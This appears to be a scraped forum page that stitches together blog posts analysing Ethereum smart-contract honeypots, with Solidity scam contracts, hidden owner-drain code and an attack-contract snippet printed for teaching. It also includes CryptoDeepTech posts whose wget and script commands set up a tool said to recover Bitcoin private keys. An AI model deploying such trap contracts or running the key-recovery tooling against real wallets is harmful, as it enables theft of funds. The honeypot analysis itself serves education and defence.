can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough. Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough. Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers. Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked: Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse. Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties: Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH. Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds. Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker. Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks. honeypot1: Multiplicator.sol The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap. GITHUB This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero. It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance. honeypot2: Gift_1_ETH.sol GITHUB The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH? It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong? One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading. It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true. honeypot3: TestToken I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here … This contract relies on a very simple yet effective technique. It uses a lot of whitespaces to push some of the code to the right and out of the immediate visibility of the editor if horizontal scrolling is enabled (WhaleGiveaway1). When you try this locally in Remix and you purely rely on the scrolling technique like in WhaleGiveaway1 then the trick actually does not work. It would be effective if an attacker copies the code and is actually able to exploit the issue locally but then fails on the main net. This can be done using block numbers. Based on what network is used the block numbers vary significantly from the main net. Ganache: starts from 0 Testrpc: starts from 1150000 Ropsten: a few weeks ago around 2596174 Main net: a few weeks ago around 5040270 Therefore the first if statement is only true on the main net and transfers all ETH to the owner. On the other networks the “invisible” code is not executed. if (block.number > 5040270 ) {if (_owner == msg.sender ){_owner.transfer(this.balance);} else {throw;}} EtherScan also had the horizontal scrolling enabled, but they deactivated it a few a few weeks ago. TL;DR Smart contract honeypot authors form a very interesting sub culture among a larger group of hackers trying to profit from vulnerable smart contracts. In general I would like to give anyone the following advice: Be careful where you send your ETH, it could be a trap. Be nice and don’t steal from people. I have created a Github repo for honeypot smart contracts here. Should you have any honey pot contracts yourself that you want to share please feel free to push them to the repo or share them in the comments. https://cryptodeep.ru/doc/The_Art_of_The_Scam_Demystifying_Honeypots_in_Ethereum_Smart_Contracts.pdf Honeypot programs are one of the best tools that security researchers have ever made to study the new or unknown hacking techniques used by attackers. Therefore, using honeypots in smart contract could be a very good idea to study those attacks. So what is honeypot in smart contract? Honeypots in the Blockchain industry is an intentionally vulnerable smart contract that was made to push attackers to exploit its vulnerability. The idea is to convince attackers or even simple users to send a small portion of cryptocurrency to the contract to exploit it, then lock those ethers in the contract. In this blog post, you are going to see some examples of those honeypots with a detailed technical explanation of how they work. So if you are interested to learn more about this subject just keep reading and leave a comment at the end. What is honeypot in smart contract? A honeypot is a smart contract that purports to leak cash to an arbitrary user due to a clear vulnerability in its code in exchange for extra payments from that user. The monies donated by the user to the vulnerable contract get then locked in the contract and only the honeypot designer or attacker will be able to recover them. The concept of a honeypot is well known in the field of network security and was used for years by security research. The main objective of using them was to identify new or unknown exploits or techniques already used in the wild. In addition, Honeypots were used to identify zero-day vulnerabilities and report them to vendors. This technique was basically designed to trap black hat hackers and learn from them. However, with the rise of Blockchain technology and the smart contract concept. Blockchain is the new trending technology in the market, many companies start to implement it to solve multiple problems. Usually, this technology manages the different types of user information related to their money. Therefore, to secure this technology you should first understand how it works. Blockchain technology can be seen as a 6 layer system that works together. Therefore, what are the six layers of blockchain technology? The Blockchain technology is built upon 6 main layers that are: The TCP/IP network Peer-to-Peer protocols Consensus algorithms Cryptography algorithms Execution (Data blocs, Transactions, …) Applications (Dapps, smart contracts …) Black hat hackers started to use this concept to trap users both with good or bad intentions. The idea is simple, the honeypot designer creates a smart contract and puts a clear vulnerability in it. Then hid a malicious code in its smart contract or between its transactions to block the right execution of the withdraw function. Then he deploys the contract and waits for other users to get into the trap. Best 10 solidity smart contract audit tools that both developers and auditors use during their audit? Slither Securify SmartCheck Oyente Mythril ContractFuzzer Remix IDE static analysis plug-in Manticore sFuzz MadMax What actually makes this concept even more dangerous in the context of blockchain is that implementing a honeypot is not really difficult and does not require advanced skills. In fact, any user can implement a honeypot in the blockchain, all it needs is the actual fees to deploy such a contract in the blockchain. In fact, in the blockchain, the word “attacker” could be given to both the one who deploys the smart contract honeypot and the one trying to exploit it (depending on his intention). Therefore, in the following sections of this blog post, we will use the word “deployer” to the one who implements the honeypot and “user” to the one trying to exploit that smart contract. What are the types of smart contract honeypots? Honeypots in smart contract can be divided into 3 main categories depending on the used techniques: EVM based smart contract honeypots Solidity compiler-based smart contract honeypots Etherscan based smart contract honeypots The main idea of honeypot in the network context is to supervise an intentionally vulnerable component to see how it can be exploited by hackers. However, in smart contract the main idea is to hide a behavior from users and trick them to send ether to gain more due to the vulnerability exploitation. six things you should do to prevent using components with known vulnerabilities: Use components from official repositories Remove unused components Only accept components with active support Put a vulnerability management system for you components Put in place a components firewall Remove or replace components with a stopped support Therefore, what actually defines each smart contract honeypot category is the used technique to hide that information from users. The first category of smart contract honeypot is based on the way the EVM instruction is executed. It is true that the EVM follow an exact set of rules, however, some instruction requires a very good experience with the way EVM works to be able to detect the honeypot otherwise the user could easily be fooled. The second category of smart contract honeypot is related to the solidity compiler. In other words, the smart contract honeypot builder should have a good experience with smart contract development and a deep understanding of how Solidity compiler would work. For example, the way inherence is managed by each version of the solidity compiler, or when overwriting variables or parameters would happen. The third category of smart contract honeypot is based on hiding things from the users. Most users that try to exploit a program look for the easier way to do so (quick wins). Therefore, they may not take the time to analyze all parts of the vulnerable smart contract. This user behavior leads to locking his money in the smart contract. In this blog post, we are going to discuss 4 techniques used by deployers to hide an internal behavior from the users and therefore fool the user. EVM based smart contract honeypots The EVM-based smart contract honeypots have only one subtype called balance disorder. I think the best way to understand how this type of smart contract honeypots works, is by example. So take a look at the following example: This example is taken from the following contract: https://etherscan.io/address/0x8b3e6e910dfd6b406f9f15962b3656e799f60d2b#code A quick look at this function from a user, he can easily understand that if he sends while calling this function more than what the contract balance actually has, then everything in the contract plus what he sends will be sent back to him. Which is obviously a good deal. However, what a user could miss in this quick analysis of the smart contract is that the contract balance will be incremented as soon as the function of the call is performed by the user. This means that the msg.value will always be lower than the contract balance no matter what you do. Therefore, the condition will never be true and the contract will be locked in this contract. Another example of the balance disorder type of honeypot could be found here: https://etherscan.io/address/0xf2cf114be39a48aa2321ed39c1f132da0c51e453 By visiting this link you can see that there is no source code out there. So there are two ways to analyze this contract. The first one and the most difficult is to get the bytecode of this smart contract and then try to understand and reverse engineer it. Or the second way is to try to decompile it using different tools available to get an intermediate and easy-to-understand source code. I personally used the second technique to accelerate the analysis and simply used the Etherscan default decompile. In the smart contract you want to decompile you can click here: And wait for a moment about 30 seconds to get the source code. By taking a look at the source code, and especially at the “multiplicate” function you can now easily see the same logic as the previously explained example. The condition in line 24 will never be verified and the money will be stuck in the contract. Solidity compiler-based smart contract honeypots As I said, this category of smart contract honeypots is based on some deep knowledge about how the Solidity compiler works. In the following subsection, I will give you 4 techniques that are used to build this kind of smart contract honeypots. However, other unknown techniques might be used in the wild, and I will do my best to update this blog post whenever I found a new one. Please comment below and tell me if you know a technique that was not noted in this blog post. Inheritance Disorder technique One of the most confusing systems in solidity language or even in other programming languages is inheritance. A lot of hidden aspects in this concept could be used by deployer to fool the users and work contrary to what is expected. In solidity language, a smart contract can implement the inheritance concept by using the word “is” followed by the different smart contract that this one wants to inherit their source code. Then only one smart contract is created and the source code from the other contracts is copied into it. To better understand how such a mechanism could be exploited to create honeypots please take a look at the following examples: Example1: You can find this contract here: https://etherscan.io/address/0xd3bd3c8fb11429b0deee5301e72b66fba29782c0#code If you take a look at this contract source code, you can easily notice that it has an obvious vulnerability related to access control. The function setup allows a user to change the owner of this contract without checking if he is the actual owner. Therefore, the user would be able to execute the withdraw function to get the money. However, this analysis assumes that the isOwner() function inherited from the Ownable contract is going to check the local variable Owner. Unfortunately, this is not what will actually happen. The inheritance creates a different variable for each contract even if they have the same name. The variable Ownable.Owner is totally different than the ICO.Owner. Therefore, when the user will call the setup() function, this one will change the value of ICO.Owner and not Ownable.Owner. This means that the result of the isOwner() will remain the same. Example2 Another example of this same type of solidity compiler-based honeypot can be found here. The same logic applies to this smart contract. The Owner variable will not change by calling the setup() function. Skip Empty String Literal Another tricky behavior in solidity compiler that may not be very easy to discover is the skip empty string literal. The skip empty string literal problem happens in solidity when a function is called with an empty string as a parameter. This is a known bug in solidity compilers before 0.4.13 here is a reference for it. The encoder skips the empty string literal “” when used as a parameter in a function call. As a result, the encoding of all subsequent arguments is moved left by 32 bytes, causing the function call data to be malformed. This kind of honeypot could be easily detected, by just looking at the solidity compiler version and then scrolling down the source code to see if there is any use of the empty string in a function call. However, a knowledge of this bug is required to detect the problem in the smart contract. Here is a simple example of this honeypot: Check the following smart contract: https://etherscan.io/address/0x2b990227344300aded3a072b3bfb9878b209da0a#code The source code is a little bit long so I will put just the most important functions: In the divest() function line 83, the external function call to loggedTransfer() with the empty string will result in shifting the parameters by 32 bytes which leads to replacing the target address from msg.sender to the owner address. Therefore, the user will send the money to the owner of the contract and not his own address. This simply means that the user will never be able to retrieve the money he sent to this smart contract. Type Deduction Overflow The Solidity compiler offers a nice feature that helps developers declare a variable without knowing exactly what type it would be. This could be made by creating a variable with the keyword “var” and the compiler will deduce what type is better for that result. However, this technique may cause a problem called type deduction overflow. This problem could be used in a smart contract honeypot to cause a revert and then lock the money on the contract. To better illustrate this problem please take a look at the following source code: You can check the whole code here: https://etherscan.io/address/0x48493465a6a2d8db8616a3c7288a9f81d54a8835#code In this contract the Double() function allow a user to double his money by first sending at least more than one ether and then looping to create the value of the ethers that will be sent to the user. This seems to be a nice and easy smart contract to exploit. However, this contract loop will never reach even half of the value sent by the user. The reason behind this is the way the variable “i” is declared. The “var” keyword, will create a variable with a type of uint8 due to the 0 value affected to it in the beginning. The code should loop till it gets to msg.value which is a uint256 and the value would be more than 1 with 18 digits. However, the size of the “i” variable can only reach 255 then once incremented will get back to 0. Therefore, the loop will end and all that the user will receive is 255 wei. Uninitialized Struct The uninitialized structure is a common problem in solidity and could be seen both as a vulnerability and as a way to trick users. In this blog post, I am going to discuss the tricky part of this problem. However, if you want me to discuss how this could be a vulnerability, please comment below and I will be happy to make a blog post about it. An uninitialized structure problem happens when a structure variable is not initialized at the moment of its creation. When a structure variable is not initialized in the same line as its creation with the keyword “new”, the solidity compiler point that variable to the first slot of the smart contract. This simply means the variable will be pointing to the first variable of the smart contract. Once the developer starts affecting values to the structure variable, the first element value of the structure will overwrite the first variable value. This concept is used by smart contract honeypots deployer to trick users to send money to exploit an obvious vulnerability in it. Here is an example of such a honeypot: https://etherscan.io/address/0x29ed301f073f62acc13a2d3df64db4a3185f1433#code This contract asks the user to guess a number while betting with some of his money. The secret value that a user is going to guess is stored in the first slot of the smart contract. For a quick analysis of this contract, the user would assume that the contract is vulnerable as even private variables could be seen in the Blockchain. However, once the user will call the play() function and send money to it, the function will create a structure “game” in line 51 without correctly initializing it. This means that this structure variable will point to the first slot (variable secretNumber). In addition, the game.player will be the variable that will overwrite the secretNumber variable. Therefore, the user “would not” will not be able to correctly guess the number. Actually, in this example, the honeypot could be bypassed to retrieve the money. If you take a look at the value affected to the game.player variable that overwrite the secretNumber. You will see that it is simply the sender’s address. Therefore, the value the user should send, is simply his address converted to decimals. Etherscan based smart contract honeypots All the smart contracts that we have seen until now, exploit a solidity language gap of knowledge in the user. However, in this section of this blog post, the deployer exploits some features related to etherscan platform to hide some important information that may trick users. Hidden State Update The Etherscan platform helps developers and any Ethereum Blockchain user to debug his smart contract or track his transactions. Therefore, the platform display user’s transaction and internal messages that are performed by smart contracts. However, one of the features of Etherscan is that it does not show internal messages with an empty value. Therefore, smart contract honeypot deployer exploit this feature to trick users and change the smart contract behavior. Here is an example to better understand this concept: Check the following smart contract: https://etherscan.io/address/0x8bbf2d91e3c601df2c71c4ee98e87351922f8aa7#code This contract might be used as a honeypot, as the user could be fooled by the initial value of the variable passHasBeenSet. By checking the Etherscan data he would not be able to see any transaction that has changed the value of passHasBeenSet. Therefore, he would assume that the value didn’t change and attempt to exploit the contract. To do that, the user would try to exploit the contract by sending more than one ether to the contract using the GetGift() after setting the hashPass using SetPass() function. However, the passHasBeenSet variable might be already changed by another contract and that would not be seen in the etherscan platform. Straw Man Contract This technique is built upon showing a source code for a contract that is not actually the one used by the contract. For example, the deployer could build a contract that requires another library and that that library address is initialized during the deployment of the contract or by calling a specific function. At this stage, there is nothing that holds the deployer from using another contract address that is totally different than the one that the source code is displayed in Etherscan. Unfortunately, this really a tricky honeypot and a really difficult technique to discover from a user. I mean the user should verify the addresses of the deployed contract and the different transactions and data passed to the contract to be able to find this issue. Moreover, even if the user tries to test this smart contract in a different contract, he will use the smart contract code displayed by the attacker and he will see a normal behavior. Which makes it even more difficult to find the issue. Here is an example of such a honeypot, try to take a look at it and see what makes this smart contract a honeypot: https://etherscan.io/address/0xdc5c87ba250b65a83042333f1101940b74312a65#code Etherscan is an Ethereum blockchain explorer that, besides other features, allows developers to submit the code of the smart contracts they deploy. The main benefit of this feature is that it allows users to check what contracts do by reading their source code. Etherscan makes sure that the code matches the smart contract as deployed. The list of verified contracts is long. As of this writing, Etherscan offers the source code for 26055 contracts, which can be browsed here. On a lazy Sunday afternoon I decided to casually browse it to see what kind of contracts people were running and get a sense of what people use the blockchain for, and how well written and secure these contracts are. Most contracts I found implemented tokens, crowdsales, multi-signature wallets, ponzis, and.. honeypots! Honeypot contracts are the most interesting findings to me. Such contracts hold ether, and pretend to do so insecurely. In short, they are scam contracts that try to fool you into thinking you can steal the ether they hold, while in fact all you can do is lose ether. A common pattern they follow is, in order to retrieve the ether they hold, you must send them some ether of your own first. Of course, if you try that, you’re in for a nasty surprise: the smart contract eats up your ether, and you find out that the smart contract does not do what you thought it did. In this post I will analyze a couple honeypot contracts I came across, and explain what they seem to do, but really do. The not-really-insecure non-lottery The first contract I will go through implements a lottery that, apparently, is horribly insecure and easy to steal from with a guaranteed win. I have come across several of these. The last instance I found is deployed at address 0x8685631276cfcf17a973d92f6dc11645e5158c0c, and its source code can be read here. I am copying the code below for convenience. Can you spot the bait? Can you tell why, if you try to exploit it, you will actually lose ether? pragma solidity ^0.4.23;// CryptoRoulette // // Guess the number secretly stored in the blockchain and win the whole contract balance! // A new number is randomly chosen after each try. // // To play, call the play() method with the guessed number (1-16). Bet price: 0.2 ethercontract CryptoRoulette { uint256 private secretNumber; uint256 public lastPlayed; uint256 public betPrice = 0.001 ether; address public ownerAddr; struct Game { address player; uint256 number; } Game[] public gamesPlayed; constructor() public { ownerAddr = msg.sender; shuffle(); } function shuffle() internal { // randomly set secretNumber with a value between 1 and 10 secretNumber = 6; } function play(uint256 number) payable public { require(msg.value >= betPrice && number <= 10); Game game; game.player = msg.sender; game.number = number; gamesPlayed.push(game); if (number == secretNumber) { // win! msg.sender.transfer(this.balance); } //shuffle(); lastPlayed = now; } function kill() public { if (msg.sender == ownerAddr && now > lastPlayed + 6 hours) { suicide(msg.sender); } } function() public payable { } } It’s easy to tell that the shuffle() method sets secretNumber to 6. Hence, if you call play(6)and send it 0.001 ether, you will always win your ether plus whatever the balance of the contract is, namely 0.015 ether. Easy money, right? Wrong. What’s the trick? Look closely at how play() is implemented. It declares a variable Game game, but does not initialize it. It will therefore default to a pointer to slot zero of the contract’s storage space. Then, it stores your address in its first member, storage slot 0, and the submitted number in the second one, that maps to storage slot 1. So, in practice, this will end up overwriting the contract’s secretNumber with the attacker account’s address, and lastPlayed with the number submitted. Then, it will compare secretNumber, which is now your account’s address, with the number you submitted. Since you can only submit numbers smaller than 10, you can only win if your account’s address is within the range 0x0 to 0x0a. (Don’t bother trying to bruteforce-search for one account in that small range! Simply unfeasible.) So, the comparison will fail, and the contract will keep your ether. Of course, the attacker can at any time call kill() to retrieve the ether. The not-really-insecure non-riddle This is another fun one. It had me scratching my head for a while. However, there is a huge giveaway that the contract is up to something nasty right away. But let’s not get ahead of ourselves. Here is its code. Can you spot the supposed vulnerability? And, can you tell why an exploit won’t work? And what is the giveaway I was talking about? contract G_GAME { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} } The code supposedly implements a riddle. It sets up a question, and, if you can tell what the answer is, it will presumably send you its balance, currently a little more than 1 ether. Of course, to produce an answer, you must send an ether first, which you will get back if you are correct. The code seems fine, but there is a dirty trick: notice how NewQuestion allows questionSender to submit a hash that does not match _question. So, as long as this function isn’t used, we should be alright. Can we tell what the question and answer are? If you read the transaction history of the contract on etherscan, it appears that the 2nd transaction sets up the question. It’s even more obvious if you click the “Convert to UT8” button on etherscan. This reveals the question “I am very easy to get into,but it is hard to get out of me. What am I?”, and the answer “TroublE”. Since this transaction is called, according to etherscan, after the creation of the contract, responseHash is going to be zero, and will become keccak265("TroublE"). Then, there is a third transaction that loads up one ether in the contract. So, apparently, we could call Play("TroublE") and send one ether to get two ether back. Too good to be true? Probably. Let’s make sure. We can make sure we will the contract’s ether by inspecting the state of the smart contract. Its variables are not public, but still all it takes is just a few extra strokes to retrieve their values by querying the blockchain. questionSender and responseHash are the 2nd and 3rd variables, so they will occupy slots 1 and 2 on the storage space of the smart contract. Let’s retrieve their values. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 1, console.log); The result is `0x0..0765951ab946f3a6f0379680a6b05fb807d52ba09`. That spells trouble (pun intended) for an attacker, since the transaction setting up the question came from an account starting with0x21d2. Something’s up. web3.eth.getStorageAt(‘0x3caf97b4d97276d75185aaf1dcf3a2a8755afe27’, 2, console.log); The result is `0xc3fa7df9bf24…`. Is this the hash of “TroublE”? web3.sha3('TroublE'); That call returns 0x92a930d5..., so it turns out that, if we were to call Play("TroublE") and send 1 ether, we’d actually lose it. But how is it possible that the hashes do not match? Notice how StartGame does nothing if responseHash is already set. Clearly, that second transaction did not alter the state of the contract, so it must have already been set before this transaction. But how is it possible that responseHash was already initialized, if that was the first transaction after the creation of the contract? After some serious head scratching, I found a recent interesting post on honeypot contracts that explains that Etherscan does not show transactions between contracts when msg.value is zero. Other blockchain explorers such as Etherchain do show them. Surely enough, etherchain reveals a couple additional transactions in the contract’s history, where a contract at 0x765951.. modifies responseHash via a zero-value transactions. So let’s check these transactions; perhaps the ether can still be stolen? To track what happened, we need to decode these calls. We can get the contract’s ABI from Etherscan, and the internal transaction data from the “parity traces” of Etherchain (first, second). That’s all we need to decode the transactions into human readable format. const abiDecoder = require('abi-decoder'); const Web3 = require('web3'); const web3 = new Web3();const abi = [{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_response”,”type”:”string”}],”name”:”StartGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_question”,”type”:”string”},{“name”:”_responseHash”,”type”:”bytes32"}],”name”:”NewQuestion”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:true,”inputs”:[],”name”:”question”,”outputs”:[{“name”:””,”type”:”string”}],”payable”:false,”stateMutability”:”view”,”type”:”function”},{“constant”:false,”inputs”:[{“name”:”_response”,”type”:”string”}],”name”:”Play”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“constant”:false,”inputs”:[],”name”:”StopGame”,”outputs”:[],”payable”:true,”stateMutability”:”payable”,”type”:”function”},{“payable”:true,”stateMutability”:”payable”,”type”:”fallback”}];const data1 = '0x1f1c827f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000754726f75626c4500000000000000000000000000000000000000000000000000';const data2 = '0x3e3ee8590000000000000000000000000000000000000000000000000000000000000040c3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f906700000000000000000000000000000000000000000000000000000000000000464920616d2076657279206561737920746f2067657420696e746f2c627574206974206973206861726420746f20676574206f7574206f66206d652e205768617420616d20493f0000000000000000000000000000000000000000000000000000';abiDecoder.addABI(abi); console.log(abiDecoder.decodeMethod(data1)); console.log(abiDecoder.decodeMethod(data2)); Running this code, we get the following result: { name: ‘StartGame’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_response’, value: ‘TroublE’, type: ‘string’ } ] } { name: ‘NewQuestion’, params: [ { name: ‘_question’, value: ‘I am very easy to get into,but it is hard to get out of me. What am I?’, type: ‘string’ }, { name: ‘_responseHash’, value: ‘0xc3fa7df9bf247d144f6933776e672e599a5ed406cd0a15a9f2da09055b8f9067’, type: ‘bytes32’ } ] } We learn that the first transaction sets the answer to keccak256("TroublE"), but the second one sets the answer to a hash value for which we don’t know the original data! Again it’s quite easy to miss that the second call does not use _question to compute the hash; instead, it’s set to an arbitrary value that does not match the string provided in the previous call, although the question does match. So, unless we can find out a value that produces the given hash, possibly via a dictionary attack or a bruteforce search, we’re out of luck. And, given how sophisticated this honeypot is, I would assume trying to bruteforce the hash is not going to work out very well for us. Unraveling this honeypot took quite some effort. Its creator is ultimately counting on attackers trusting the etherscan data, which does not contain the full picture. The giveaway I said this contract contains a dead giveaway that its creator is playing tricks. This is in this line: require(msg.sender == tx.origin); What this line achieves is, it prevents contracts from calling Play. This is because tx.origin is always an “external account”, and never a smart contract. Why is this useful for the attacker? A way to safely attack a contract is to call them from an “attack contract” that reverts execution if it didn’t gain ether from attack: function attack() { uint intialBalance = this.balance; attack_contract(); require (this.balance > initialBalance); } This way, unless the attacker’s contract’s balance increases, the transaction fails altogether. The creator of the honeypot wants to prevent an attacker from using this trick to protect themselves. Literature: ETHEREUM: A SECURE DECENTRALISED GENERALISED TRANSACTION LEDGER BERLIN VERSION beacfbd – 2022-10-24 DR. GAVIN WOOD FOUNDER, ETHEREUM & PARITY From Smart to Secure Contracts: Automated Security Assessment and Improvement of Ethereum Smart Contracts Christof Ferreira Torres The Art of The Scam: Demystifying Honeypots in Ethereum Smart Contracts Christof Ferreira Torres, Mathis Steichen, and Radu State, University of Luxembourg A survey of attacks on Ethereum smart contracts Nicola Atzei, Massimo Bartoletti, and Tiziana Cimoli Conclusion Honeypots are a moral grey area for me. Is it OK to scam those who are looking to steal from contracts? I don’t think so. But I do not feel very strongly about this. In the end, if you got scammed, it is because you were searching for smart contracts to steal from to begin with. These scams play on the greed of people who are smart enough to figure out an apparent vulnerability in a contract, yet not knowledgeable enough to figure out what the underlying trap is. If you want to get deeper into Smart Contract security, check this amazing wargame called Capture the Ether. It’s a fun way to hone your skills and train your eye for suspicious Solidity code. GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/UrkOGyuuepE Source: https://cryptodeep.ru/solidity-vulnerable-honeypots Криптоанализ Навигация по записям
  24. CryptoDeepTech

    Установим SageMath в Google Colab

    CRYPTO DEEP TECH В этой статье мы сделаем новую установку SageMath в Google Colab. Ранее мы опубликовали статью: “Install SageMath for cryptanalysis on Fedora 64bit(10GB) Cloud Virtual Server” , но для продолжение криптоанализа блокчейна Биткоин многие наши читатели предпочитают использовать Debian и Ubuntu в отличие от Fedora. Как нам известно Google Colab обновился до версии "Ubuntu 20.04.5 LTS". !cat /etc/lsb-release Поэтому версии "Ubuntu 20.04.5 LTS", нам позволяет установит только SageMath version 9.0, Release Date: 2020-01-01 Используя стандартную команду установки: !sudo apt-get install -y sagemath-common Для полного проведения криптоанализа мы установим в Google Colab совершенно новую версию SageMath version 9.3 Файл: Install_SageMath_in_Google_Colab.ipynb мы опубликовали в GitHub Перейдем на официальный сайт: https://colab.research.google.com Теперь через утилиту wget скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ !python3 relocate-once.py Все готово! !./sage -sh sage -v Все верно! Мы получили новую версию: SageMath version 9.3, Release Date: 2021-05-09 wget https://raw.githubusercontent.com/demining/CryptoDeepTools/bbd83042e7405508cd2e646ad1b0819da0f9c58d/18TwistAttack/discrete.py Теперь чтобы получить приватный ключ нам осталось запустить команду: python3 discrete.py Sage Math 9.3 выполним задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms) Теперь все работает должный образом! Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/DBu0UnVe0ig Источник: https://cryptodeep.ru/install-sagemath-in-google-colab Криптоанализ
  25. В этой статье мы подробно на слайдах покажем как установить «SageMath» на облачный виртуальный сервер Fedora 30 64bit(10GB) для примера мы будем использовать сервера «DIGITAL RUBLE TECH». Ранее мы использовали для установки «SageMath» облачный сервис Google Colab, но к сожалению из-за последних обновлении не все компоненты для проведение криптоанализа блокчейна Биткоина работают должным образом. Регистрация: cat /etc/redhat-release dnf check-update dnf install python3 dnf install sagemath sage -v git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/18TwistAttack/ ls Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py Команда запуска: sage -python3 discrete.py Sage Math выполнил задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms) Теперь все работает должный образом! Исходный код DIGITAL RUBLE TECH Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/xHnTDRgZwvE Источник: https://cryptodeep.ru/install-sagemath-on-fedora Криптоанализ
×
×
  • Создать...